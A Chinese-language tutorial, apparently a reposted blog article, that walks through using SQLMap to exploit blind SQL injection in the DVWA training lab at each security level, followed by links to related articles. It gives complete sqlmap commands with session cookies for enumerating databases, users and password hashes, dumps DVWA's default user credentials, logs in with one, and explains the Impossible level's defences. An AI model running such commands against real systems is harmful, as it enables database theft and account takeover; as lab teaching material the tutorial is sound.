一、测试前分析

前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析>
通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程,本文则利用自动化的工具SQLMap对SQL Injection(Blind)进行漏洞检测和数据获取。

手工 VS 自动化
①手工测试有助于理解整个注入漏洞的利用过程,可以加深技能印象
②自动化工具所检测的效率相对较高,而且覆盖的全面性更高,数据获取的广度和深度也可以得到更好的发挥

利用SQLMap自动化工具的检测流程大致如下:
1.判断是否存在注入点、注入类型
2.获取DBMS中所有的数据库名称
3.获取Web应用当前连接的数据库
4.列出数据库中的所有用户
5.获取Web应用当前所操作的用户
6.列出可连接数据库的所有账户-对应的密码哈希
7.列出指定数据库中的所有数据表
8.列出指定数据表中的所有字段(列)
9.导出指定数据表中的列字段进行保存
10.根据导出的数据,验证数据有效性

二、全等级SQL Injection(Blind)-漏洞利用解析

利用SQLMap工具操作,本文暂不作太过详细的去拆分细节点,各个等级的服务端代码在此也不作重复展示。
以下构造SQLMap所需的测试命令时,所需用到的工具还有:浏览器自带的F12查看Request/Response/cookie、Fiddler抓取url/cookie等、Burp拦截url/cookie等数据...
因注入测试是在保持浏览器账户登录状态的前提下进行的,过程中需要保持登录不退出账户,操作命令中需要带上登录账户的cookie信息--cookie="xxx";若过程中有退出了账户,则需要重新登录账户,并重新获取cookie信息,以在SQLMap操作命令中及时更新cookie内容。

【A】Level:Low

1.判断是否存在注入点、注入的类型

构造命令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch

执行结果:

 
 
2.获取DBMS中所有的数据库名称

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --dbs

执行结果:

 
 
3.获取Web应用当前连接的数据库

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --current-db

执行结果:

 
 
4.列出数据库中的所有用户

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --users

执行结果:

 
 
5.获取Web应用当前所操作的用户

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --current-user

执行结果:

 
 
6.列出可连接数据库的所有账户-对应的密码哈希

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --passwords

执行结果:

 
 
7.列出指定数据库中的所有数据表

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -D dvwa --tables

执行结果:

 
 
8.列出指定数据表中的所有字段(列)

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -D dvwa -T users --columns

执行结果:

 
 
9.导出指定数据表中的列字段进行保存

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -D dvwa -T users -C "user,password" --dump

执行结果:

 
 
10.根据导出的数据,验证数据有效性
user password
1337 charley
admin password
gordonb abc123
pablo letmein
smithy password

从以上导出的user---password组合中任取一组,回到前端登录界面进行验证

登录界面:http://localhost:8001/dvwa/login.php
用户密码:pablo---letmein

 
登录成功

【B】Level:Medium

Low等级提交的数据是通过GET请求方式,直接在浏览器url中传递参数;而Medium等级,所提交的User ID数据是通过POST请求方式,参数是在POST请求体中传递。
此时,构造SQLMap操作命令,则需要将url和data分成两部分分别填写,同时需要更新cookie信息的取值,如下:

构造命令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch

执行结果:

 
 

构造命令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -dbs

执行结果:

 
 
 
基于时间的盲注,整个猜解过程中要花费稍微多一些时间

......
获取数据库其他数据的过程,暂且不继续往下展示,和Low级别相似。确保SQLMap操作命令中的url、data分离,cookie信息更新为对应等级的cookie值,以及保持账户登录状态时进行操作即可。

【C】Level:High

  1. High级别的查询数据提交的页面、查询结果显示的页面是分离成了2个不同的窗口分别控制的。即在查询提交窗口提交数据(POST请求)之后,需要到另外一个窗口进行查看结果(GET请求)。若需获取请求体中的Form Data数据,则需要在提交数据的窗口中查看网络请求数据or通过拦截工具获取
  2. High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止常规的SQLMap扫描注入测试,因为SQLMap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入;但是并不代表High级别不能用SQLMap进行注入测试,此时需要利用其非常规的命令联合操作,如:--second-order="xxxurl"(设置二阶响应的结果显示页面的url),具体的操作命令可参看==>SQLMap工具使用选项的操作命令&功能

构造命令:
python2 sqlmap.py --url="http://localhost/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --second-order="http://localhost/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=kpmkm3kphj5cccf7ub43c8e7l4" --batch

执行结果:

 
 

【D】Level:Impossible

可以尝试构造SQLMap命令进行检测:
python2 sqlmap.py --url="http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit&user_token=b95d5f0bb28c4ecd6418c6deed57b4bf#" --cookie="security=impossible; security=impossible; PHPSESSID=p78fd4dlnor8qsrjck9ivg3hj0" --batch

暂未发现注入漏洞

 
 

Impossible级别的SQL Injection(Blind)

  1. impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
  2. 只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库
  3. 利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句
  4. Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过
 

作者:Fighting_001
链接:https://www.jianshu.com/p/ec2ca79e74b2
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

(十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析的更多相关文章

  1. (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

    一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...

  2. Blind SQL injection:盲注详解

    什么是盲注? 当应用程序易受SQL注入攻击,但其HTTP响应不包含相关SQL查询的结果或任何数据库错误的详细信息时,就会出现盲SQL注入. 对于盲目SQL注入漏洞,许多技术(如联合攻击)都是无效的,因 ...

  3. DVWA-全等级SQL注入(显注)

    前言: 首先是DVWA环境的搭建: 1.DVWA. 2.PHPSTUDY/WampServer,这里有一个坑,因为他是一体化的,PHP版本必须在5.4以上,否则显注不能打开.或者自己搭建LAMP环境. ...

  4. 【DVWA】【SQL Injection(Blind)】SQL盲注 Low Medium High Impossible

    1.初级篇 Low.php 加单引号提交 http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1'&Submit=Submi ...

  5. DVWA之 SQL Injection(Blind)

    SQL Injection(Blind) SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法 ...

  6. SQL Injection (Blind) Low

    SQL盲注分析 盲注较普通注入难度会有所增加,根据页面响应不同大概分为以下几种:布尔型盲注:时间盲注:报错注入 普通注入与盲注的对比: 普通注入:                            ...

  7. 渗透之路基础 -- SQL进阶(盲注和报错注入)

    SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...

  8. webgote的例子(6)SQL注入(盲注)

    SQL Injection - Blind (WS/SOAP) 本期演示的是盲注的手法.有些网站在与数据库交互的地方进行了很好的修饰,将报错的语句进行修改,即使你找到了注入点也无法下手拿数据,这个时候 ...

  9. DVWA(三):SQL injection 全等级SQL注入

    (本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...

随机推荐

  1. Struts2-Tiles 2.5.2 升级指南和通配符拓展

    最近工程从Struts2.3.18升级Struts2.5.2导致相关联的插件都需要升级到相同版本,其中tiles的变化最大. 1.web.xml上 listener org.apache.struts ...

  2. (Redis基础教程之六)如何使用Redis中的List

    如何在ubuntu18.04上安装和保护redis 如何连接到Redis数据库 如何管理Redis数据库和Keys 如何在Redis中管理副本和客户端 如何在Redis中管理字符串 如何在Redis中 ...

  3. python常识系列08-->logging模块基础入门

    前言 努力从今天开始,成功从"零"开始. 一.logging模块是什么? 是Python内置的标准模块,主要用于输出运行日志 二.日志是什么? 日志是代码的必要组成部分 记录日志能 ...

  4. Unity3D的UGUI布局锚点自动绑定关系

    [MenuItem("CONTEXT/RectTransform/Auto")] public static void AutoRectAnior() { Debug.Log(&q ...

  5. SpringBoot整合Redis实现简单的set、get

    一.导入pom.xml文件相关的依赖并配置 <dependency> <groupId>org.springframework.boot</groupId> < ...

  6. python list 与 String 互相转换

    str0 = '127.0.0.1' list0 = str0.split('.') print(list0) #['127', '0', '0', '1'] str1 = '#'.join(list ...

  7. Pyqt5_QMessageBox

    QMessageBox header:会话窗标题 info:会话窗内容 #弹出5种不同类型的消息框 reply1=QMessageBox.information(self,"title&qu ...

  8. js中时间戳和时间格式之间的转换

    //时间格式转化 getNowDate(timestamp) { var date = new Date(timestamp); //时间戳为10位需*1000,时间戳为13位的话不需乘1000 va ...

  9. 2020由浅入深最强Java面试题

    1.String,StringBuffer和StringBuilder有什么区别?     String是字符串常量,不可变对象,每次对String修改都等同于生成了一个新的String象,然后将指针 ...

  10. windows10安全及性能优化

    一.关闭一些服务. Google 更新服务 (gupdate) Google 更新服务 (gupdatem) HomeGroupListener HomeGroupProvider Xbox Live ...